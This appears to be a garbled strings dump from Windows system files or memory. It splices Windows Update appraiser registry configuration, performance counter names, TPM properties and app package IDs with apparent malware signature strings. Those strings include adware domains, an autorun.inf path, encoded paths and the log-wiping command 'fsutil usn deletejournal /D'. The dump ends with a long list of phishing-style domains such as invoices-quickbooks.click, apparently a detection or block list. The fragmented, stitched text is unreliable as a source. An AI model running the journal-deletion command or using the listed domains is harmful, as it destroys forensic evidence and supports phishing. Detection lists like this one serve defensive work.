gin_ActionLimit","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_AUTOONLY":{"ValueName":"ServiceHealthPlugin_AutoOnly","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_DETECTIONONLY":{"ValueName":"ServiceHealthPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_ENABLED":{"ValueName":"ServiceHealthPlugin_Enabled","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_IMPACTLEVEL":{"ValueName":"ServiceHealthPlugin_ImpactLevel","RegValueType":"REG_SZ"},"SERVICEHEALTHPLUGIN_INTERACTIVEONLY":{"ValueName":"ServiceHealthPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_INTERVALINHOURS":{"ValueName":"ServiceHealthPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"ServiceHealthPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_MINUPTIMETHRESHOLD":{"ValueName":"ServiceHealthPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_ORDER":{"ValueName":"ServiceHealthPlugin_Order","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"ServiceHealthPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"SERVICEHEALTHP \\?\PCI#VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00#000C29FFFFF29C8B00#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} pci#ven_8086&dev_10d3&subsys_07d015ad&rev_00#000c29fffff29c8b00#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{e33fa66e-dbec-40a2-8aa4-e7c085f48539} "IfExists": true }, "StayOnWindows10Timestamp": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\WindowsUpdate\\UX\\Settings", "ValueName": "SvOfferDeclined", "RegValueType": "REG_QWORD" }, "Steam": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\C ContentD pe": "REG_DWORD" }, "SymantecInstalledKey": { "FullPat : tr "SO WARE\\WOW6 ode\ ton\\{0C55C096-0F1D-4F28 2-85 0;K_s RlcG UmVhZHkg XRpbmcgZm9 29tbWFuZ 6\psy ource no-Waits AcqShrdStarveExcl/sec 2858 Exec. Resource Attempts AcqShrdWaitForExcl/sec 2860 Exec. Resource Recursive Excl. Acquires AcqShrdWaitForExcl/sec 2862 Exec. Resource Acquires AcqShrdWaitForExcl/sec 2864 Exec. Resource Recursive Sh. Acquires AcqShrdWaitForExcl/sec 2866 Exec. Resource Contention AcqShrdWaitForExcl/sec 2868 Exec. Resource no-Waits AcqShrdWaitForExcl/sec 2870 Exec. Resource Set Owner Pointer Exclusive/sec 2872 Exec. Resource Set Owner Pointer Shared (New Owner)/sec 2874 Exec. Resource Set Owner Pointer Shared (Existing Owner)/sec 2876 Exec. Resource Boost Excl. Owner/sec 2878 Exec. Resource Boost Shared Owners/sec 3132 Windows Time Service 3134 Computed Time Offset 3136 Clock Frequency Adjustment 3138 Clock Frequency Adjustment (PPB) 3140 NTP Roundtrip Delay 3142 NTP Client Time Source Count 3144 NTP Server Incoming Requests 3146 NTP Server Outgoing Responses 2316 vent Read L quests/sec 4318 Writ tes/Write 4328 Avg. ytes/sL 4338 Data Requests/sec 4340 ta Bytes/R/ 4348 Queue state variant payload stateKind flightIdFX:1397C828 firstStatus featureId status state variant payload stateKind flightIdFX:1389B1A6 firstStatus featureId status state variant payload stateKind flightIdFX:137DAFE8 firstStatus featureId status state variant payload stateKind flightIdFX:1398AD6C firstStatus featureId status state variant payload stateKind flightIdFX:1386068F firstStatus featureId status state variant payload stateKind flightIdFX:136F7C48 firstStatus featureId status state variant payload stateKind flightIdFX:137599CB firstStatus featureId status state variant payload stateKind flightIdFX:13759AC2 firstStatus featureId status state variant payload stateKind flightIdFX:0390BB93 firstStatus featureId status state variant payload stateKind flightIdFX:137095B6 firstStatus featureId status state variant payload stateKind flightIdFX:1388E985 firstStatus featureId status state variant payload stateKind flightIdFX:03A07DE0 firstStatus featureId status state variant payload stateKind flightIdFX:00000000 firstStatus featureId status state variant payload featureId status state variant payload stateKind flightIdFX:136C6855 firstStatus featureId status state variant payload stateKind flightIdFX:138AFBD8 firstStatus featureId status state variant payload stateKind flightIdFX:1388E986 firstStatus featureId status state variant payload stateKind flightIdFX:139665CB firstStatus featureId status state variant payload stateKind flightIdFX:1376FD3A firstStatus featureId status state variant payload stateKind flightIdFX:137297A9 firstStatus featureId status state variant payload stateKind flightIdFX:138AC279 firstStatus featureId status state variant payload stateKind flightIdFX:1380DB51 firstStatus featureId status state variant payload stateKind flightIdFX:13750DA2 firstStatus featureId status state variant payload stateKind flightIdFX:1379ED9B firstStatus featureId status state variant payload stateKind flightIdFX:1388E988 firstStatus featureId status state variant payload stateKind flightIdFX:1388E987 firstStatus featureId status state variant payload stateKind flightIdFX:137ABC76 firstStatus featureId status flightIdFX:13936BEB firstStatus featureId status state variant payload stateKind flightIdFX:1380CFBA firstStatus featureId status state variant payload stateKind flightIdFX:137C3A5E firstStatus featureId status state variant payload stateKind flightIdFX:13720237 firstStatus featureId status state variant payload stateKind flightIdFX:137ABC75 firstStatus featureId status state variant payload stateKind flightIdFX:136D8710 firstStatus featureId status state variant payload stateKind flightIdFX:139A40D0 firstStatus featureId status state variant payload stateKind flightIdFX:1376FD07 firstStatus featureId status state variant payload stateKind flightIdFX:139AE828 firstStatus featureId status state variant payload stateKind flightIdFX:139B5062 firstStatus featureId status state variant payload stateKind flightIdFX:139A4E0D firstStatus featureId status state variant payload stateKind flightIdFX:13736B1C firstStatus featureId status state variant payload stateKind flightIdFX:1364752C firstStatus featureId status state variant payload stateKind flightIdFX:1364751C firstStatus variant payload stateKind flightIdFX:1393480A firstStatus featureId status state variant payload stateKind flightIdFX:137A9121 firstStatus featureId status state variant payload stateKind flightIdFX:135E75D7 firstStatus featureId status state variant payload stateKind flightIdFX:135E761C firstStatus featureId status state variant payload stateKind flightIdFX:137C3D3B firstStatus featureId status state variant payload stateKind flightIdFX:13802EFD firstStatus featureId status state variant payload stateKind flightIdFX:136BA4A5 firstStatus featureId status state variant payload stateKind flightIdFX:13674EE5 firstStatus featureId status state variant payload stateKind flightIdFX:13802EFF firstStatus featureId status state variant payload stateKind flightIdFX:1369B6A2 firstStatus featureId status state variant payload stateKind flightIdFX:1377D688 firstStatus featureId status state variant payload stateKind flightIdFX:137C3D6F firstStatus featureId status state variant payload stateKind flightIdFX:139B65B3 firstStatus featureId status state variant payload stateKind featureId status state variant payload stateKind flightIdFX:138AC8D5 firstStatus featureId status state variant payload stateKind flightIdFX:1376AA2C firstStatus featureId tatus stateKind flightIdFX:13981339 firstStatus yloa tatu atureId status igh. bvc. meo. xel. qqqq. http _update.exe\syswow64\dfrgui.exe uac64ok %wZ\Software\%08x !BNXaz LdrpLoad bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d bc90d167-9470-4139-a9ba-be0bbbf5b74d cc105610-da03-467e-bc73-5b9e2937458d en-U pt-BR zh-T fi-F th-TH Windows1 Microsoft.YourPhone_8wekyb3d8b !runtime ker07f4358a809ac Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8b s.Conte oft.Windows.Cont DeliveryMana 1_neutra cw5n1h2txyewyApp Xadns4p0eqj k2bd16aj0cypbrs3e5w.mca -+ncalrpc:[OLEA714E7C633 Cont DeliveryMana .Background.P viceTas soft.W _cw5n1h2txyewy m32\O rpc:[OLEC1C73748FB19D064763CE8BB NT AUTHORIT YSTE rosoft.Windows.Cont DeliveryMana _cw5n1h2txyew YourP e_0.25062.84.0_x64__8wekyb3d8b oft.Windows.Cont DeliveryMana 1_neutra cw5n1h2txyewy+App -2-35018722 3778639 028148 dBrok Xadns4p0eqjaenk2bd16aj0cypbrs3e5w.mc lrpc:[epm er,Security=I sonat mic n0h2tfbfy7k9kn8hbxb6dmzz1zh Windows.Fo .Col s.Pr S-1-5- 39148898 407190 877228 C:\WINDOWS\system32\ C:\WINDOWS\SYSTEM32\windows.staterepository e.dl ion.E alog .Package Prox Microsoft.Windows.Cont DeliveryMana 1_neutra cw5n1h2txyewy asse .Win utra h2tx TEMP System\CurrentControlSet\Control\Session Manager\Environment Software\Microsoft\Windows\CurrentVersion Path Os2LibPath LibPath Software\Microsoft\Windows NT\CurrentVersion\ProfileList\%s Local AppData Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\ %s%s ProfileImagePath ProfilesDirectory Volatile Environment\%d Volatile Environment Environment COMPUTERNAME USERPROFILE APPDATA USERDNSDOMAIN DefaultUserEnviroment LOCALAPPDATA USERDOMAIN SOFTWARE USERNAME AppData ProgramData Default Public %s\%s%s SystemDrive PUBLIC ALLUSERSPROFILE SystemRoot S-1-5-18 ???? ???? PatchImagePlaceholder 2042 talledKe ,"Tr WowKey": 32Node\\ dMic s":true} edKeyCHI "Ful EM\\Curr D\\DR"," eNam egValueT VerHKey" EY_L ","FullP CPD","Va ame" _DWORD"} SEnr y":"HKEY SOFTWARE cros NT\\Cur ledNamee RegV EG_SZ"," tive":{" ":"H CHINE"," alueName nins "RegValu AMeredDa {"HK CAL_MACH SOFTWARE\Microsoft\WindowsUpdate\UX\Settings ssme ueName": oDat alueType KEY_LOCA CHIN ndows\\W wsUp ame","Re ueTy RD"},"Up EY_LOCAL HINE :"SOFTWA urrentVe n\\A s\\Targe icators\ 1H2" :"UpgEx" WowKeyAc ed": Y_LOCAL_ NEledNam \\Wi ntVersio acturerg Acce lueType" Speedgra igib "HKEY_LO SOFTWARE\Microsoft\Windows\Hotpatch\Environment ft\Windo otpa entREG_D {"HKey": Y_LO ,"FullPa Windows\ urre ValueNam ValueTyp REG_ ScanMiti MACHINE" llPa E\\Micro n\\Windo date or\\Miti dnNotSta gMit eted","R \\CurrentControlSet\\Control\\SystemInformation","ValueN facturer egVa G_SZ"}," NE","Ful h":" ation"," eNam ersionGP Z"}, seVersio talledWo ath" Policies sUpdate" lueN ReleaseV REG_SZ"} rget onMDM":{ "FullPat SOFT oft\\Pol \Update" lueN ReleaseV NEsing_C 2Reg Y_LO \Current rolS \CloudDo eName":" ntId nstalled Tencent\ CMgr :true}," ersionGP TWAR de\\Tenc entTarge Enab "SYSTEM\ \\TesSaf Valu StartTim ersionTE urre \\servic dIDFlags HKey ":"SOFTW \Mic ows\\Cur Promotio bled Flags"," urerRN": ey": MACHINE" soft\\Wi s\\C n\\Wosc\ tate\\FC "Val tRing"}, ARE\\SBA ","I lledWowK {"Fu TWARE\\W ft\CCMMD imes ing_CO21 _MACHINE ullP RE\\Micr rsion\\A mpat tVersion dCO21H2" lueN ampEpoch SZ"},"Tr nsta ullPath" OOT","Fu th": xist "HKEY_CL S_RO ":"R Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> crosof ntVersio etup sion H_SIPoli eanu SOFT Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> rsStat Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> gs","V Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Path": ontrolSe ervi tall rentCont et\\ yOnW _LOCAL_M NE", te\\ Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> NE","F E\\Class Stea Stri Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> on\\Pr lueName" rict nabl "FullPat Soft nten Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> alledK Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> },"Sym Key":{"F ath" F1D- ts":true yste ,"Fu et\\Cont \Dev ":"E eType":"REG_DWOR eId\\A) Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Missin Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Extens ATriumph erGm nevp issingDE "HKe s\\C Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> a8","I Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> osoft\ Version\ nsta adli ,"FullPa "SOF Upda neForQua Upda MDM" ullPath" FTWA e\\U Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> y1":{" \\Curren trol heal WARE\\Mi oft\ .exe Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> osoft\ urrent\\ ce\\ olle Recovere mBui "Sof t\\Appli lity gVal nDate":{ y":" cros Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Releas Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> rsion\ gInfo"," eNam oblo MAINICON default_search_provider Rainmeter.ini not found SOFTWARE\AppDataLow\Software\Search Protection ClearLockhttp://www.boot-land.net/IamMr.Ed! TjefCbs]PfnDvtupnUifnftztufn43]Qsphsbn!Gjmft dllhost.datfsutil usn deletejournal /D =?ISO-8859-1?Q?vbSendMailInvalid Bcc: Recipient $__SIG&ovr=$__OVR&amigo=/notificate.php?did=.dat?did= \??\z:\autorun.inf \??\z:\autorun.exe recycler CData \*.* \bin\UninstallManager\UninstallManager.pdb jcl.svn.sourceforge.net YdrSupp--user-data-dir= Software\DataMngr Standalone must be .exe sakura 41.1 42.3 9.246 .168. .48. 12.3 2.131 9htr gbk8 5b%22 x0 , -a9- c42a 29-0 cf5b 52eb .301 3.21 .28.2 0096 3401 9640 293e 7b6e 4c46 bd95 371a f3>p 224d b-62 325- 0294 4444 -dc3 -129 6404 21b3 5zc4 h5h4 1644 4543 211- bcf9 rt85. eb79 b9b> 2dc3 0-c7 bf56 be07. e6c1 q55s 57f1 4bzs 45dhe j935 jnre zzsd 8 00 65%73 582a 5b12 e-2} 2de6 550d dfba cd68 2\dk 1.30 .322 -ccf 0041 c668 2ac-. 8c2b 2464 951c a7b1 .aqq 424a 5244 558o hp5a. bsai_upgrade_urlb$sai_upgrade_urlbs$ai_upgrade_urlbsa$i_upgrade_urlbsai$_upgrade_urlbsai_u$pgrade_urlbsai_up$grade_urlbsai_upg$rade_urlbsai_upgr$ade_urlbsai_upgra$de_urlb$sai_up$grade_urlb$sai_up$gra$de_u$rlb$sa$i_up$gr$a$de_u$rlbs$ai_upgr$ade_urlbs$ai_upgra$de_urlbs$ai_upgrade$_urlbsa$i_upgr$ade_urlbsa$i_upgra$de_urlbsa$i_upgrad$e_urlbsa$i_upgrade$_urlbsai$_upgr$ade_urlbsai$_upgrade$_urlbs$ai_up$gr$ade_h$ashbsai_upgrade_hashb$sai_upgrade_hashbs$ai_upgrade_hashbsa$i_upgrade_hashbsai_$upgrade_hashbsai_up$grade_hashbsai_upgr$ade_hashbsai_upgra$de_hashbsai_upgrad$e_hashb$sai_upgrade$_hashb$sai_upgrad$e_hashb$sai_upg$rad$e_hashbs$ai_upgr$ade_hashbs$ai_upgra$de_hashbsa$i_upgr$ade_hashbsa$i_upgra$de_hashbsa$i_upgrad$e_hashbsa$i_upgrade$_hashbsai$_u$pgrade_hashbsai$_upgr$ade_hashbs$ai$_upg$ra$de_u$rlb_sai_testsai_test=%lu (0x%x)icname|icversion|tid|arguments.os|locale|arguments.browser|cscid|hdidicname|icversion|tid|locale|arguments.os|arguments.browser|cscid|hdidicname|tid|icversion|locale|arguments.os|arguments.browser|cscid|hdidicname|tid|locale|icversion|arguments.os|arguments.browser|cscid|hdidSAISaveSetting('%s', '%s') (was '%s')VIC Upgrade requested, ignoredVIC URL: %s VIC Params:error reading ASAI signaature: %s%d/%d/%04d %d:%02d:%02d % %04d%02d%02d%02d%02d%02d.%03u.% te.aspx?ver=&rnd=te.aspx?rnd= &ver= te.aspx?ax0= &rnd= &ver= platrium.comappbundler.netappbundler.compinballcorp.comfreelandmedia.comzango.comseekmo.comlhoot.com -4c6 5da- 192b 045e -4a3 -ed7 4552 c790 76df 9546 9253 478v. abc- 4cbf 9c1b 9582 2de> x3oc 490a 8-a9 c-45 52\s 3f52 88b9 0e2f 842b lyqg decb a00b 2cd0 747- h84j ce4b ab5- ain1. cbo8 5eyi edown .php? 82an 0402 4-eb 8-90 17f6 a602. a907 43a- 3007 -b7e thxw 4-54 -kom 8a00 44fe 4-5b 5e79 45b9 2dcc 2b6e8 e223 5c2d -38e 1325 egeg psvz wnr6w 075n &@Sf 9509 pusd 444t8. cf5e 64af ae45 2e12 2g8eq 78bh ayer blic. por. mme\ plu. tand nonu lako bahp mmar resk met. ager s=no fot. offe tko\ s46w read kco. o tr o=no o = o=no get" magn ljhe tr_a o_po lum. o\gu .str le s quxm oger oime ytfi oism oner np_2 lide epmapper WINDOWS11 WINDOWS11 lsapolicylookup \sap PSFactoryBuffer epmapper epmapper epmapper epmapper epmapper WinSta0\Default epmapper mm:h :syd. $Sfy dbg\s a296 imeu. ecyc. indo ssvch recy jpg. 0.3.1 23423 8i7xt procd liihs ]dn1 ev]\. ryp. cap. idde. erne icro ogr. sta. lmcs indo. ow_t uqin face mast oob. _to. v.00 l fi alys. ploc ora. o x . uv3n hrtj \arm oco\ d\p4 ient. dpr. \cry. stom back. oc@u md2. vct. phi. jkj\ lpor waio. ft\Windo T\Cu \AppComp OneS SYSTEM\CurrentControlSet\Services\UCPD\DR crosoft\ ows\ s\On rogramDa Micr s\OneSet RSIONmDa Micr s\OneSet OneSetti gramData\Microsoft\Windows\OneSettings\CortanaUWP.json SOFTWARE\Microsoft\WindowsSelfHost\OneSettings l:\P gramData\Microsoft ows\ \App gs\Iri r:DchuIntelGrfxExists r:PausedQualityStatus r:UpdatePreference rface r:BlockFeatureUpdates a:GStatus_19H1Setup u:EnableWUfBUpgradeGates u:TargetReleaseVersion p:DesiredOsVersion rface r:DchuIntelGrfxVen r:NonSecurityUpdate c:IsCloudDomainJoined r:MTPTargetingInfo r:GStatusBlockIDs_All r:DSS_Enrolled_DF laySec a:DataExpDateEpoch_21H1 c:ActivationChannel eSec r:UpgradeAccepted a:GStatus_20H1Setup eSec c:ProcessorClockSpeed c:SecureBootCapable r:EKB19H2UnInstallCount r:IsAutopilotRegistered r:QihooInstalledKey a:DataExpDateEpoch_20H1 r:UserInPlaceUpgrade v:HidparseDriversVer r:HotPatchEKBInstalled r:BroadcomInstalledKey r:UpgradeEligible r:AllowInPlaceUpgrade r:SH_SIPolicyCleanup r:FeatureUpdateDeadline r:FODRetryPending laySec a:GStatus_CO21H2Setup r:DchuNvidiaGrfxVenTest r:OobeNdupAcceptedTarget r:EKB19H2InstallCount a:DataExpDateEpoch_21H2 p:DesiredOcpVersion c:TotalPhysicalRAM a:GStatus_NI22H2Setup r:ChinaTypeApproval_CTA r:MinWhcpVersion_Kernel a:UpgEx_NI22H2Setup r:DefenderUUPFlags r:ChargeCapacityRatio r:DefenderSignatureRing r:DefenderCampRing r:DefenderFilterExists r:OobeNdupFUTarget v:HidparseSystem32Ver 3++S++ PT_TC_PBM PT_TC_FILEOPENPICKER PT_TC_SHARING PT_TC_PRINTING PT_TC_GENERIC PT_TC_CAMERA_DCA PT_TC_PRINTER_DCA PT_TC_PLAYTO PT_TC_FILESAVEPICKER PT_TC_CONTACTPICKER PT_TC_CACHEDFILEUPDATER_LOCAL PT_TC_CACHEDFILEUPDATER_REMOTE PT_TC_ERROR_REPORT PT_TC_DATA_PACKAGE PT_TC_CRASHDUMP PT_TC_STREAMEDFILE PT_TC_PBM_COMMUNICATION PT_TC_HOSTEDAPPLICATION PT_TC_MEDIA_CONTROLS_ACTIVE @PT_TC_EMPTYHOST PT_TC_SCANNING PT_TC_ACTIONS PT_TC_REALTIMECOMM PT_TC_IGNORE_NAV_LEVEL_FOR_CS Windows.Foundation.PropertyValueue 52C64B7E 2.DLL MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy S-1-5-21-3914889805-4071901059-918772286-1001 C:\W ws\S ntim MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy s.Cr 4__cw5n1 yewy e_cw WIN://PK ((((( H ((((( H "Version": 345, "SchemaVersion": 1, "PartA": [ "App", "AppVer", "AttrDataVer" ], "Default": [ "DeviceFamily", "f:FlightRing", "t:OSVersionFull" ], "PartB": { "ACSOVERRIDE": [ "OSArchitecture", "c:IsAlwaysOnAlwaysConnectedCapable" ], "APPTARGETEDFEATUREDB": [ "c:FlightingBranchName", "f:FlightRing", "t:OSVersionFull", "DeviceFamily" ], "CASSCLIENT": [ "OSVersion", "c:OSEdition", "f:FlightRing", "c:OSUILocale", "f:FlightingBranchName", "r:OEMMode" ], "CDM": [ "ChassisTypeId", "r:CurrentBranch", "DeviceFamily", "f:FlightingBranchName", "f:FlightRing", "c:InstallLanguage", "c:IsDomainJoined", "t:IsTestLab", "OEMModel", "OSArchitecture", "OSVersion", "t:OSSkuId", "c:ProcessorIdentifier", "c:TelemetryLevel", "t:IsMsftOwned", "t:WCOSProductId", "c:OSUILocale", "c:CommercialId", "c:ActivationChannel", "c:SCCMClientId", "c:IsCloudDomainJoined", "r:WebExperience", "FX_FlightIds", "AccountFirstChar", "r:WSX_Windows_Settings_Account", "r:InstallDate", "r:WSX_Runtime", "r:DefaultUserRegion", "a:GatedFeature_NI22H2", "r:WSX_Windows_Shell_Start", "a:GatedFeature_CU23H2", "r:ExpStates", "MX_FlightIds", "r:CIOptin", "c:ProcessorCores", "c:TotalPhysicalRAM", "r:TestRN", "u:UpdateServiceUrl", "u:WUfBClientManaged", "r:UUSVersion", "DL_OSVersion", "r:ExpPkgs", "u:AllowOptionalContent", "n:IsMicrosoftAAD", "WidgetsAppVer", "c:IsDeviceRetailDemo", "r:IsFSOverlay", "a:SdbVer_NI22H2", "r:EdgeStableVersion", "r:Migrated_GatedFeature_NI22H2Setup", "a:SdbVer_21H2", "a:GatedFeature_21H2", "CX_FlightIds", "r:UtcDataHandlingPolicies", "v:SkypeRoomSystem", "r:BypP-Activation'\",\n \"Name\": \"InstallState\",\n \"Timeout\": 2000\n },\n \"WCFNonHTTPActivationState\": {\n \"Query\": \"SELECT * FROM Win32_OptionalFeature WHERE name = 'WCF-NonHTTP-Activation'\",\n \"Name\": \"InstallState\",\n \"Timeout\": 2000\n },\n \"XeroxPsaInstalledName\": {\n \"Query\": \"SELECT Name, ProgramId FROM Win32_InstalledStoreProgram WHERE ProgramId = 'XeroxCorp.PrintExperience_8.29.32.0_x64__f7egpvdyrs2a8'\",\n \"Name\": \"Name\",\n \"Timeout\": 2000\n }\n },\n \"RegionPolicy\": {\n \"IsCampaignEdgePromotionEnabled\": {\n \"ForceEvaluate\": false,\n \"PolicyGUID\": \"{2BF706DE-6DBB-4692-B7EF-84D80C47E927}\"\n },\n \"IsCampaignSegmentTargetingEnabled\": {\n \"ForceEvaluate\": false,\n \"PolicyGUID\": \"{36996754-E327-483A-902F-523E2BA03239}\"\n }\n }\n}","FLIGHTINGMSAAPPID":"Foobar-FlightingMsaAppId","FLIGHTSETTINGSSERVICEURL":"https://insideruser.microsoft.com/api/FlightSettings","FLIGHTSETTINGSVERSION":"2","HONORUTCRESTRICTIONS":"0","ISBUILDUNSUPPORTED":"0","MAXCALLSPERDAY":"500","MINTIMEBETWEENCALLSWHENTHROTTLEDINSECONDS":"300","SYNCWNSURI":"0","TIME":"5","USESETTINGSEXPERIENCE":"0","USESSOAPPGROUP":"0","UTCAPPROVEDPROPERTIES":"deviceType;osUILocale;currentTelemetryLevelInt;defaultDynamicRegistryReads;propertyIgnoreList;testFlags;rs2CapabilitiesPresent;rs3CapabilitiesPresent","WINDOWSUPDATEMSAAPPID":"Foobar-WindowsUpdateMsaAppId"}} ++S+ __x_Windows_CInternal_CStateRepository_CIPackageSourceUriStatics {c53e07ec-25f3-4093-aa39-fc67ea22e99d} IHostSecureElementInternal {71F9BB80-B88F-48EC-BA54-F92F732208A3} __FIIterable_1_Windows__CInternal__CStateRepository__CPrimaryTileUserDataChange {c53e07ec-25f3-4093-aa39-fc67ea22e99d} {A4A1A128-768F-41E0-BF75-E4FDDD701CBA} {95E15D0A-66E6-93D9-C53C-76E6219D3341} ITileUpdateManagerStatics {6db7cd52-e3b7-4ecc-bb1f-388aeef6bb50} {0b4c227f-2394-43ff-ba59-bc762f5c46ea} IDXPDeviceCallback {347CBD95- -4144-81AF-AE803 0000 SubC Microsof SubC @%SystemRoot%\system32\ProximityUxHost.exe,-1010 @%SystemRoot%\system32\ProximityUxHost.exe,-1000 @%SystemRoot%\system32\ProximityUxHost.exe,-2000 @%SystemRoot%\system32\ProximityUxHost.exe,-1020 @%SystemRoot%\system32\twinui.pcshell.dll,-14507 @%SystemRoot%\system32\prnntfy.dll,-140 @{%SystemRoot%\SystemApps\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy\resources.pri?ms-resource://Microsoft.Windows.PrintQueueActionCenter/Files/Assets/Square44x44Logo.png} {a2bc5877-4789-4d96-83ae-bed4e0e45166} @%SystemRoot%\system32\PrinterCleanupTask.dll,-300 @{%SystemRoot%\SystemApps\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy\resources.pri?ms-resource://Microsoft.Windows.PrintQueueActionCenter/Files/Assets/Square44x44Logo.png} {080C1840-C63E-4FBE-825C-92E63565E043} @%SystemRoot%\system32\prnntfy.dll,-140 @{%SystemRoot%\SystemApps\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy\resources.pri?ms-resource://Microsoft.Windows.PrintQueueActionCenter/Files/Assets/Square44x44Logo.png} TPM_PT_PS_FAMILY_INDICATOR TPM_PT_PS_LEVEL TPM_PT_PS_REVISION TPM_PT_PS_DAY_OF_YEAR TPM_PT_MAX_RESPONSE_SIZE TPM_PT_MAX_DIGEST TPM_PT_MAX_OBJECT_CONTEXT TPM_PT_MAX_SESSION_CONTEXT TPM_PT_VENDOR_COMMANDS TPM_PT_NV_BUFFER_MAX TPM_PT_MODES TPM_PT_MAX_CAP_BUFFER TPM_PT_PS_YEAR TPM_PT_SPLIT_MAX TPM_PT_TOTAL_COMMANDS TPM_PT_LIBRARY_COMMANDS TPM_PT_HR_LOADED_AVAIL TPM_ OUNT V_CO ECOVERY TPM_PT_N L_PROP_INTC_FLAGS KERNEL ersi pcrData. vers nfoSize versionInfo. TPM_Quot targ quoted. .fit-session.click .flichknecshen.click .foldershare.click .fromwithindesign.click .frontdeskov.click .fundsnsjjd.click .gateway-one.click .gengras.click .goldov.click .goodsamaritanhealth.click .greatfile.click .gsjsmk.click .gsmtth.click .gulfstreamdesign.click .int-03gree.click .invoices-dropbox.click .invoices-intiut.click .invoices-quickbooks.click .kjabsaoa.click .ksllsdln.click .lawannawright.click .legacoop.click .wansonrussell.online .wbnvorrue.online .wbughklxap.online .web3ocu.online .websensd-actprojects.online .websonnsenndshares-pages.online .webstartonline.online .weccuu.online .wendtimrechitwilhpn.online .westerwaldleben.online .westmorelandcountyhomes.online .westredsincspointersrites.online .westspointsincsdirectspoints.online .westzp-sharesdotspos.online .wewasooieutrgs tudio.20381e3af986a_7r8fs3ah48x4p", "learnwithease.42750b4752420_564vzmdrrrk7c", "5824share35.18476f04528fa_5y9d45kgmbnt2", 